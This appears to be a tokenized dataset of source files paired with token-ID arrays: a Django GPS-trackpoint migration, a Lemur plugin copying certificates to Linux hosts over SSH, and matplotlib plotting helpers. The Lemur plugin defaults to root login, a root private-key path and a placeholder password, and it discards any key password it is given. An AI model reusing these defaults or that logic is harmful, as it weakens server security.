1596,
703,
3057,
292,
4831,
332,
4135,
29901,
6571,
1642,
4830,
29898,
8394,
29918,
5753,
876,
13,
1678,
5694,
29918,
29891,
29918,
3009,
353,
7442,
29889,
13092,
29898,
29891,
29918,
3009,
29897,
13,
1678,
5694,
29918,
29891,
29918,
11965,
353,
7442,
29889,
13092,
29898,
29891,
29918,
11965,
29897,
13,
1678,
7442,
29889,
7620,
703,
29891,
29918,
3009,
613,
343,
29918,
3009,
29897,
13,
1678,
7442,
29889,
7620,
703,
29891,
29918,
11965,
613,
343,
29918,
11965,
29897,
13,
1678,
1596,
703,
7382,
29918,
29891,
29918,
3009,
613,
5694,
29918,
29891,
29918,
3009,
29897,
13,
1678,
1596,
29898,
376,
7382,
29918,
29891,
29918,
11965,
613,
5694,
29918,
29891,
29918,
11965,
29897,
13,
1678,
396,
29871,
31466,
31565,
31382,
30883,
30210,
21556,
13,
1678,
1596,
29898,
376,
29925,
3757,
2459,
613,
16716,
29918,
13628,
29898,
29891,
29918,
3009,
29889,
25027,
391,
3285,
343,
29918,
11965,
29889,
25027,
391,
3285,
6588,
2433,
7915,
287,
8785,
13,
1678,
1596,
29898,
376,
4789,
497,
613,
17386,
29918,
13628,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
6588,
2433,
7915,
287,
8785,
13,
1678,
1596,
29898,
376,
29888,
29896,
29918,
13628,
613,
285,
29896,
29918,
13628,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
29892,
6588,
2433,
7915,
287,
8785,
13,
1678,
1596,
29898,
376,
5527,
3958,
29918,
5344,
1159,
13,
1678,
1596,
29898,
14679,
29918,
5344,
29898,
29891,
29918,
3009,
29892,
343,
29918,
11965,
876,
2
] |
gpslocation/migrations/0001_initial.py | VekotinVerstas/DjangoHttpBroker-GpsLocation | 0 | 178581 | # Generated by Django 2.2 on 2019-04-27 12:49
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('broker', '0007_auto_20190427_1224'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Trackpoint',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('status', models.IntegerField(default=1)),
('time', models.DateTimeField(db_index=True)),
('lat', models.FloatField()),
('lon', models.FloatField()),
('speed', models.FloatField(blank=True, null=True)),
('course', models.FloatField(blank=True, null=True)),
('ele', models.FloatField(blank=True, null=True)),
('hacc', models.FloatField(blank=True, null=True)),
('vacc', models.FloatField(blank=True, null=True)),
('hdop', models.FloatField(blank=True, null=True)),
('vdop', models.FloatField(blank=True, null=True)),
('pdop', models.FloatField(blank=True, null=True)),
('tdop', models.FloatField(blank=True, null=True)),
('sat', models.IntegerField(blank=True, null=True)),
('satavail', models.IntegerField(blank=True, null=True)),
('created_at', models.DateTimeField(auto_now_add=True)),
('datalogger', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='broker.Datalogger')),
('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'unique_together': {('datalogger', 'time')},
},
),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29906,
29889,
29906,
373,
29871,
29906,
29900,
29896,
29929,
29899,
29900,
29946,
29899,
29906,
29955,
29871,
29896,
29906,
29901,
29946,
29929,
13,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
2847,
353,
5852,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
6729,
3946,
742,
525,
29900,
29900,
29900,
29955,
29918,
6921,
29918,
29906,
29900,
29896,
29929,
29900,
29946,
29906,
29955,
29918,
29896,
29906,
29906,
29946,
5477,
13,
4706,
9725,
800,
29889,
2774,
932,
519,
29918,
10836,
29898,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
511,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
17936,
3149,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
4882,
742,
4733,
29889,
7798,
3073,
29898,
4381,
29922,
29896,
8243,
13,
18884,
6702,
2230,
742,
4733,
29889,
11384,
3073,
29898,
2585,
29918,
2248,
29922,
5574,
8243,
13,
18884,
6702,
5066,
742,
4733,
29889,
11031,
3073,
25739,
13,
18884,
6702,
12957,
742,
4733,
29889,
11031,
3073,
25739,
13,
18884,
6702,
19322,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
15775,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
6146,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
29882,
5753,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
29894,
5753,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
16440,
459,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
27491,
459,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
15926,
459,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
1594,
459,
742,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
29879,
271,
742,
4733,
29889,
7798,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
29879,
271,
485,
737,
742,
4733,
29889,
7798,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
11600,
29918,
271,
742,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
8243,
13,
18884,
6702,
29881,
3968,
914,
742,
4733,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
6729,
3946,
29889,
29928,
3968,
914,
1495,
511,
13,
18884,
6702,
1792,
742,
4733,
29889,
27755,
2558,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
373,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
29922,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
8243,
13,
9651,
21251,
13,
9651,
3987,
3790,
13,
18884,
525,
13092,
29918,
29873,
12966,
2396,
426,
877,
29881,
3968,
914,
742,
525,
2230,
1495,
1118,
13,
9651,
2981,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
lemur/plugins/lemur_linuxdst/plugin.py | prdonahue/lemur | 0 | 73648 | #!/usr/bin/python
from lemur.plugins.bases import DestinationPlugin
from lemur.plugins.lemur_linuxdst import remote_host
class LinuxDstPlugin(DestinationPlugin):
title = 'Linux Destination Plugin'
slug = 'linux-destination'
description = 'Allow the distribution of certificates to a Linux host'
version = 1
author = '<NAME> '
author_url = 'https://github.com/RickB17/'
options = [
{
'name': 'dstHost',
'type': 'str',
'required': True,
'helpMessage': 'This is the host you will be sending the certificate to',
},
{
'name': 'dstPort',
'type': 'int',
'required': True,
'helpMessage': 'This is the port SSHD is running on',
'default': '22'
},
{
'name': 'dstUser',
'type': 'str',
'required': True,
'helpMessage': 'The user name to use on the remote host. Hopefully not root.',
'default': 'root',
},
{
'name': 'dstPriv',
'type': 'str',
'required': True,
'helpMessage': 'The private key to use for auth',
'default': '/root/.ssh/id_rsa',
},
{
'name': 'dstPrivKey',
'type': 'str',
'required': False,
'helpMessage': 'The password for the destination private key',
'default': 'somethingsecret',
},
{
'name': 'dstDir',
'type': 'str',
'required': True,
'helpMessage': 'This is the directory on the host you want to send the certificate to',
'default': '/etc/nginx/certs/'
},
{
"available": [
"NGINX",
"3File"
],
"name": "exportType",
"required": True,
"value": "NGINX",
"helpMessage": "Reference the docs for an explanation of each export type",
"type": "select"
}
]
requires_key = False
def upload(self, name, body, private_key, cert_chain, options, **kwargs):
export_type = self.get_option('exportType', options)
dst_host = self.get_option('dstHost', options)
dst_host_port = self.get_option('dstPort', options)
dst_user = self.get_option('dstUser', options)
dst_priv = self.get_option('dstPriv', options)
dst_priv_key = self.get_option('dstPrivKey', options)
if dst_priv_key:
dst_priv_key = None
dst_dir = self.get_option('dstDir', options)
remote_host.create_cert(name, dst_dir, export_type, dst_user, dst_priv, dst_priv_key, dst_host, int(dst_host_port))
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
3166,
9336,
332,
29889,
12800,
29889,
29890,
2129,
1053,
15435,
3381,
16288,
13,
3166,
9336,
332,
29889,
12800,
29889,
2409,
332,
29918,
9389,
22992,
1053,
7592,
29918,
3069,
13,
13,
13,
1990,
8074,
29928,
303,
16288,
29898,
14994,
3381,
16288,
1125,
13,
1678,
3611,
353,
525,
24085,
15435,
3381,
1858,
3851,
29915,
13,
1678,
2243,
688,
353,
525,
9389,
29899,
23848,
29915,
13,
1678,
6139,
353,
525,
15930,
278,
4978,
310,
23199,
1078,
304,
263,
8074,
3495,
29915,
13,
1678,
1873,
353,
29871,
29896,
13,
13,
1678,
4148,
353,
12801,
5813,
29958,
525,
13,
1678,
4148,
29918,
2271,
353,
525,
991,
597,
3292,
29889,
510,
29914,
29934,
860,
29933,
29896,
29955,
22208,
13,
13,
1678,
3987,
353,
518,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
8514,
742,
13,
9651,
525,
1853,
2396,
525,
710,
742,
13,
9651,
525,
12403,
2396,
5852,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
4013,
338,
278,
3495,
366,
674,
367,
9348,
278,
12289,
304,
742,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
2290,
742,
13,
9651,
525,
1853,
2396,
525,
524,
742,
13,
9651,
525,
12403,
2396,
5852,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
4013,
338,
278,
2011,
22343,
29928,
338,
2734,
373,
742,
13,
9651,
525,
4381,
2396,
525,
29906,
29906,
29915,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
2659,
742,
13,
9651,
525,
1853,
2396,
525,
710,
742,
13,
9651,
525,
12403,
2396,
5852,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
1576,
1404,
1024,
304,
671,
373,
278,
7592,
3495,
29889,
7963,
3730,
451,
3876,
29889,
742,
13,
9651,
525,
4381,
2396,
525,
4632,
742,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
29925,
1150,
742,
13,
9651,
525,
1853,
2396,
525,
710,
742,
13,
9651,
525,
12403,
2396,
5852,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
1576,
2024,
1820,
304,
671,
363,
4817,
742,
13,
9651,
525,
4381,
2396,
8207,
4632,
6294,
15269,
29914,
333,
29918,
2288,
29874,
742,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
29925,
1150,
2558,
742,
13,
9651,
525,
1853,
2396,
525,
710,
742,
13,
9651,
525,
12403,
2396,
7700,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
1576,
4800,
363,
278,
12551,
2024,
1820,
742,
13,
9651,
525,
4381,
2396,
525,
14481,
19024,
742,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
978,
2396,
525,
22992,
9170,
742,
13,
9651,
525,
1853,
2396,
525,
710,
742,
13,
9651,
525,
12403,
2396,
5852,
29892,
13,
9651,
525,
8477,
3728,
2396,
525,
4013,
338,
278,
3884,
373,
278,
3495,
366,
864,
304,
3638,
278,
12289,
304,
742,
13,
9651,
525,
4381,
2396,
8207,
7070,
29914,
23257,
29914,
6327,
29879,
22208,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
376,
16515,
1115,
518,
13,
18884,
376,
9312,
1177,
29990,
613,
13,
18884,
376,
29941,
2283,
29908,
13,
9651,
21251,
13,
9651,
376,
978,
1115,
376,
15843,
1542,
613,
13,
9651,
376,
12403,
1115,
5852,
29892,
13,
9651,
376,
1767,
1115,
376,
9312,
1177,
29990,
613,
13,
9651,
376,
8477,
3728,
1115,
376,
7422,
278,
10561,
363,
385,
8252,
310,
1269,
5609,
1134,
613,
13,
9651,
376,
1853,
1115,
376,
2622,
29908,
13,
4706,
500,
13,
1678,
4514,
13,
1678,
6858,
29918,
1989,
353,
7700,
13,
13,
1678,
822,
6441,
29898,
1311,
29892,
1024,
29892,
3573,
29892,
2024,
29918,
1989,
29892,
2284,
29918,
14153,
29892,
3987,
29892,
3579,
19290,
1125,
13,
4706,
5609,
29918,
1853,
353,
1583,
29889,
657,
29918,
3385,
877,
15843,
1542,
742,
3987,
29897,
13,
4706,
29743,
29918,
3069,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
8514,
742,
3987,
29897,
13,
4706,
29743,
29918,
3069,
29918,
637,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
2290,
742,
3987,
29897,
13,
4706,
29743,
29918,
1792,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
2659,
742,
3987,
29897,
13,
4706,
29743,
29918,
22534,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
29925,
1150,
742,
3987,
29897,
13,
4706,
29743,
29918,
22534,
29918,
1989,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
29925,
1150,
2558,
742,
3987,
29897,
13,
13,
4706,
565,
29743,
29918,
22534,
29918,
1989,
29901,
13,
9651,
29743,
29918,
22534,
29918,
1989,
353,
6213,
13,
13,
4706,
29743,
29918,
3972,
353,
1583,
29889,
657,
29918,
3385,
877,
22992,
9170,
742,
3987,
29897,
13,
4706,
7592,
29918,
3069,
29889,
3258,
29918,
6327,
29898,
978,
29892,
29743,
29918,
3972,
29892,
5609,
29918,
1853,
29892,
29743,
29918,
1792,
29892,
29743,
29918,
22534,
29892,
29743,
29918,
22534,
29918,
1989,
29892,
29743,
29918,
3069,
29892,
938,
29898,
22992,
29918,
3069,
29918,
637,
876,
13,
2
] |
src/utils/plots.py | Light4Code/tensorflow-research | 5 | 33045 | <filename>src/utils/plots.py
import matplotlib.pyplot as plt
import numpy as np
import numpy.ma as ma
import utils.image_util as iu
from utils.custom_types import Vector
def plot_history(loss, acc, val_loss, val_acc):
plt.figure(figsize=(20, 10))
plt.subplot(2, 1, 1)
plt.title("Loss")
plt.grid()
plt.plot(loss)
plt.plot(val_loss)
plt.xlabel("Epoch")
plt.ylabel("Loss")
plt.legend(["Train", "Test"], loc="upper left")
plt.subplot(2, 1, 2)
plt.title("Accuracy")
plt.grid()
plt.plot(acc)
plt.plot(val_acc)
plt.xlabel("Epoch")
plt.ylabel("Accuracy")
plt.legend(["Train", "Test"], loc="upper left")
plt.show()
def plot_difference(
predictions, test_images, input_shape: Vector, threshold: float = 0.0
):
plt.figure(figsize=(20, 10))
pred_count = len(predictions)
plt_shape = (input_shape[0], input_shape[1])
plt_cmap = "gray"
if input_shape[2] > 1:
plt_shape = (
input_shape[0],
input_shape[1],
input_shape[2],
)
index = 1
plt_index = 0
for test_image in test_images:
original_image = test_image.reshape(plt_shape)
pred_image = predictions[plt_index].reshape(plt_shape)
diff, se = iu.create_diff(original_image, pred_image, threshold)
mask = ma.masked_where(diff == False, diff)
plt.subplot(pred_count, 4, index)
plt.title("Original")
plt.imshow(original_image, interpolation="none", cmap=plt_cmap)
index += 1
plt.subplot(pred_count, 4, index)
plt.title("Prediction")
plt.imshow(pred_image, interpolation="none", cmap=plt_cmap)
index += 1
plt.subplot(pred_count, 4, index)
plt.title("Diff (SE: {0})".format(round(se, 2)))
plt.imshow(diff, interpolation="none", cmap=plt_cmap)
index += 1
plt.subplot(pred_count, 4, index)
plt.title("Overlay")
plt.imshow(original_image, interpolation="none", cmap=plt_cmap)
plt.imshow(mask, cmap="jet", interpolation="none", alpha=0.7)
index += 1
plt_index += 1
plt.show()
def plot_prediction(
predictions, test_images, input_shape: Vector, threshold: float = 0.4
):
plt.figure(figsize=(20, 10))
pred_count = len(predictions)
plt_shape = (input_shape[0], input_shape[1])
plt_cmap = "gray"
if input_shape[2] > 1:
plt_shape = (
input_shape[0],
input_shape[1],
input_shape[2],
)
index = 1
plt_index = 0
for test_image in test_images:
original_image = test_image.reshape(plt_shape)
pred_image = predictions[plt_index].reshape(plt_shape)
mask = ma.masked_where(pred_image < threshold, pred_image)
plt.subplot(pred_count, 3, index)
plt.title("Original")
plt.imshow(original_image, interpolation="none", cmap=plt_cmap)
index += 1
plt.subplot(pred_count, 3, index)
plt.title("Prediction")
plt.imshow(pred_image, interpolation="none", cmap=plt_cmap)
index += 1
plt.subplot(pred_count, 3, index)
plt.title("Overlay")
plt.imshow(original_image, interpolation="none", cmap=plt_cmap)
plt.imshow(mask, cmap="jet", interpolation="none", alpha=0.7)
index += 1
plt_index += 1
plt.show()
def plot_classification(predictions, test_images, input_shape: Vector, classes: [], threshold: float = 0.4):
plt.figure(figsize=(20, 10))
pred_count = len(predictions)
plt_shape = (input_shape[0], input_shape[1])
plt_cmap = "gray"
if input_shape[2] > 1:
plt_shape = (
input_shape[0],
input_shape[1],
input_shape[2],
)
index = 1
plt_index = 0
for test_image in test_images:
original_image = test_image.reshape(plt_shape)
pred = predictions[plt_index]
c_idx = np.argmax(pred)
plt.subplot(pred_count, 1, index)
value = pred[c_idx]
if (value >= threshold):
plt.title("{0} ({1})".format(classes[c_idx], value))
else:
plt.title("{0} ({1})".format("Unknown", value))
plt.imshow(original_image, interpolation="none", cmap=plt_cmap)
index += 1
plt_index += 1
plt.show()
| [
1,
529,
9507,
29958,
4351,
29914,
13239,
29914,
26762,
29889,
2272,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
12655,
408,
7442,
13,
5215,
12655,
29889,
655,
408,
611,
13,
13,
5215,
3667,
29879,
29889,
3027,
29918,
4422,
408,
474,
29884,
13,
3166,
3667,
29879,
29889,
6341,
29918,
8768,
1053,
16510,
13,
13,
13,
1753,
6492,
29918,
18434,
29898,
6758,
29892,
1035,
29892,
659,
29918,
6758,
29892,
659,
29918,
5753,
1125,
13,
1678,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29900,
29892,
29871,
29896,
29900,
876,
13,
1678,
14770,
29889,
1491,
5317,
29898,
29906,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
1678,
14770,
29889,
3257,
703,
29931,
2209,
1159,
13,
1678,
14770,
29889,
7720,
580,
13,
1678,
14770,
29889,
5317,
29898,
6758,
29897,
13,
1678,
14770,
29889,
5317,
29898,
791,
29918,
6758,
29897,
13,
1678,
14770,
29889,
29916,
1643,
703,
29923,
1129,
305,
1159,
13,
1678,
14770,
29889,
29891,
1643,
703,
29931,
2209,
1159,
13,
1678,
14770,
29889,
26172,
29898,
3366,
5323,
262,
613,
376,
3057,
12436,
1180,
543,
21064,
2175,
1159,
13,
13,
1678,
14770,
29889,
1491,
5317,
29898,
29906,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
1678,
14770,
29889,
3257,
703,
7504,
332,
4135,
1159,
13,
1678,
14770,
29889,
7720,
580,
13,
1678,
14770,
29889,
5317,
29898,
5753,
29897,
13,
1678,
14770,
29889,
5317,
29898,
791,
29918,
5753,
29897,
13,
1678,
14770,
29889,
29916,
1643,
703,
29923,
1129,
305,
1159,
13,
1678,
14770,
29889,
29891,
1643,
703,
7504,
332,
4135,
1159,
13,
1678,
14770,
29889,
26172,
29898,
3366,
5323,
262,
613,
376,
3057,
12436,
1180,
543,
21064,
2175,
1159,
13,
1678,
14770,
29889,
4294,
580,
13,
13,
13,
1753,
6492,
29918,
29881,
17678,
29898,
13,
1678,
27303,
29892,
1243,
29918,
8346,
29892,
1881,
29918,
12181,
29901,
16510,
29892,
16897,
29901,
5785,
353,
29871,
29900,
29889,
29900,
13,
1125,
13,
1678,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29900,
29892,
29871,
29896,
29900,
876,
13,
1678,
4450,
29918,
2798,
353,
7431,
29898,
27711,
1080,
29897,
13,
1678,
14770,
29918,
12181,
353,
313,
2080,
29918,
12181,
29961,
29900,
1402,
1881,
29918,
12181,
29961,
29896,
2314,
13,
1678,
14770,
29918,
29883,
1958,
353,
376,
21012,
29908,
13,
1678,
565,
1881,
29918,
12181,
29961,
29906,
29962,
1405,
29871,
29896,
29901,
13,
4706,
14770,
29918,
12181,
353,
313,
13,
9651,
1881,
29918,
12181,
29961,
29900,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29896,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29906,
1402,
13,
4706,
1723,
13,
1678,
2380,
353,
29871,
29896,
13,
1678,
14770,
29918,
2248,
353,
29871,
29900,
13,
1678,
363,
1243,
29918,
3027,
297,
1243,
29918,
8346,
29901,
13,
4706,
2441,
29918,
3027,
353,
1243,
29918,
3027,
29889,
690,
14443,
29898,
572,
29873,
29918,
12181,
29897,
13,
4706,
4450,
29918,
3027,
353,
27303,
29961,
572,
29873,
29918,
2248,
1822,
690,
14443,
29898,
572,
29873,
29918,
12181,
29897,
13,
4706,
2923,
29892,
409,
353,
474,
29884,
29889,
3258,
29918,
12765,
29898,
13492,
29918,
3027,
29892,
4450,
29918,
3027,
29892,
16897,
29897,
13,
4706,
11105,
353,
611,
29889,
13168,
287,
29918,
3062,
29898,
12765,
1275,
7700,
29892,
2923,
29897,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29946,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
26036,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
13492,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29946,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
23084,
2463,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
11965,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29946,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
26023,
313,
1660,
29901,
426,
29900,
1800,
1642,
4830,
29898,
14486,
29898,
344,
29892,
29871,
29906,
4961,
13,
4706,
14770,
29889,
326,
4294,
29898,
12765,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29946,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
3563,
8387,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
13492,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
14770,
29889,
326,
4294,
29898,
13168,
29892,
274,
1958,
543,
4026,
613,
29694,
543,
9290,
613,
15595,
29922,
29900,
29889,
29955,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29918,
2248,
4619,
29871,
29896,
13,
1678,
14770,
29889,
4294,
580,
13,
13,
13,
1753,
6492,
29918,
11965,
2463,
29898,
13,
1678,
27303,
29892,
1243,
29918,
8346,
29892,
1881,
29918,
12181,
29901,
16510,
29892,
16897,
29901,
5785,
353,
29871,
29900,
29889,
29946,
13,
1125,
13,
1678,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29900,
29892,
29871,
29896,
29900,
876,
13,
1678,
4450,
29918,
2798,
353,
7431,
29898,
27711,
1080,
29897,
13,
1678,
14770,
29918,
12181,
353,
313,
2080,
29918,
12181,
29961,
29900,
1402,
1881,
29918,
12181,
29961,
29896,
2314,
13,
1678,
14770,
29918,
29883,
1958,
353,
376,
21012,
29908,
13,
1678,
565,
1881,
29918,
12181,
29961,
29906,
29962,
1405,
29871,
29896,
29901,
13,
4706,
14770,
29918,
12181,
353,
313,
13,
9651,
1881,
29918,
12181,
29961,
29900,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29896,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29906,
1402,
13,
4706,
1723,
13,
1678,
2380,
353,
29871,
29896,
13,
1678,
14770,
29918,
2248,
353,
29871,
29900,
13,
1678,
363,
1243,
29918,
3027,
297,
1243,
29918,
8346,
29901,
13,
4706,
2441,
29918,
3027,
353,
1243,
29918,
3027,
29889,
690,
14443,
29898,
572,
29873,
29918,
12181,
29897,
13,
4706,
4450,
29918,
3027,
353,
27303,
29961,
572,
29873,
29918,
2248,
1822,
690,
14443,
29898,
572,
29873,
29918,
12181,
29897,
13,
4706,
11105,
353,
611,
29889,
13168,
287,
29918,
3062,
29898,
11965,
29918,
3027,
529,
16897,
29892,
4450,
29918,
3027,
29897,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29941,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
26036,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
13492,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29941,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
23084,
2463,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
11965,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29941,
29892,
2380,
29897,
13,
4706,
14770,
29889,
3257,
703,
3563,
8387,
1159,
13,
4706,
14770,
29889,
326,
4294,
29898,
13492,
29918,
3027,
29892,
29694,
543,
9290,
613,
274,
1958,
29922,
572,
29873,
29918,
29883,
1958,
29897,
13,
4706,
14770,
29889,
326,
4294,
29898,
13168,
29892,
274,
1958,
543,
4026,
613,
29694,
543,
9290,
613,
15595,
29922,
29900,
29889,
29955,
29897,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
14770,
29918,
2248,
4619,
29871,
29896,
13,
1678,
14770,
29889,
4294,
580,
13,
13,
13,
1753,
6492,
29918,
1990,
2450,
29898,
27711,
1080,
29892,
1243,
29918,
8346,
29892,
1881,
29918,
12181,
29901,
16510,
29892,
4413,
29901,
19997,
16897,
29901,
5785,
353,
29871,
29900,
29889,
29946,
1125,
13,
1678,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29900,
29892,
29871,
29896,
29900,
876,
13,
1678,
4450,
29918,
2798,
353,
7431,
29898,
27711,
1080,
29897,
13,
1678,
14770,
29918,
12181,
353,
313,
2080,
29918,
12181,
29961,
29900,
1402,
1881,
29918,
12181,
29961,
29896,
2314,
13,
1678,
14770,
29918,
29883,
1958,
353,
376,
21012,
29908,
13,
1678,
565,
1881,
29918,
12181,
29961,
29906,
29962,
1405,
29871,
29896,
29901,
13,
4706,
14770,
29918,
12181,
353,
313,
13,
9651,
1881,
29918,
12181,
29961,
29900,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29896,
1402,
13,
9651,
1881,
29918,
12181,
29961,
29906,
1402,
13,
4706,
1723,
13,
1678,
2380,
353,
29871,
29896,
13,
1678,
14770,
29918,
2248,
353,
29871,
29900,
13,
1678,
363,
1243,
29918,
3027,
297,
1243,
29918,
8346,
29901,
13,
4706,
2441,
29918,
3027,
353,
1243,
29918,
3027,
29889,
690,
14443,
29898,
572,
29873,
29918,
12181,
29897,
13,
4706,
4450,
353,
27303,
29961,
572,
29873,
29918,
2248,
29962,
13,
4706,
274,
29918,
13140,
353,
7442,
29889,
1191,
3317,
29898,
11965,
29897,
13,
4706,
14770,
29889,
1491,
5317,
29898,
11965,
29918,
2798,
29892,
29871,
29896,
29892,
2380,
29897,
13,
4706,
995,
353,
4450,
29961,
29883,
29918,
13140,
29962,
13,
4706,
565,
313,
1767,
6736,
16897,
1125,
13,
9651,
14770,
29889,
3257,
703,
29912,
29900,
29913,
21313,
29896,
1800,
1642,
4830,
29898,
13203,
29961,
29883,
29918,
13140,
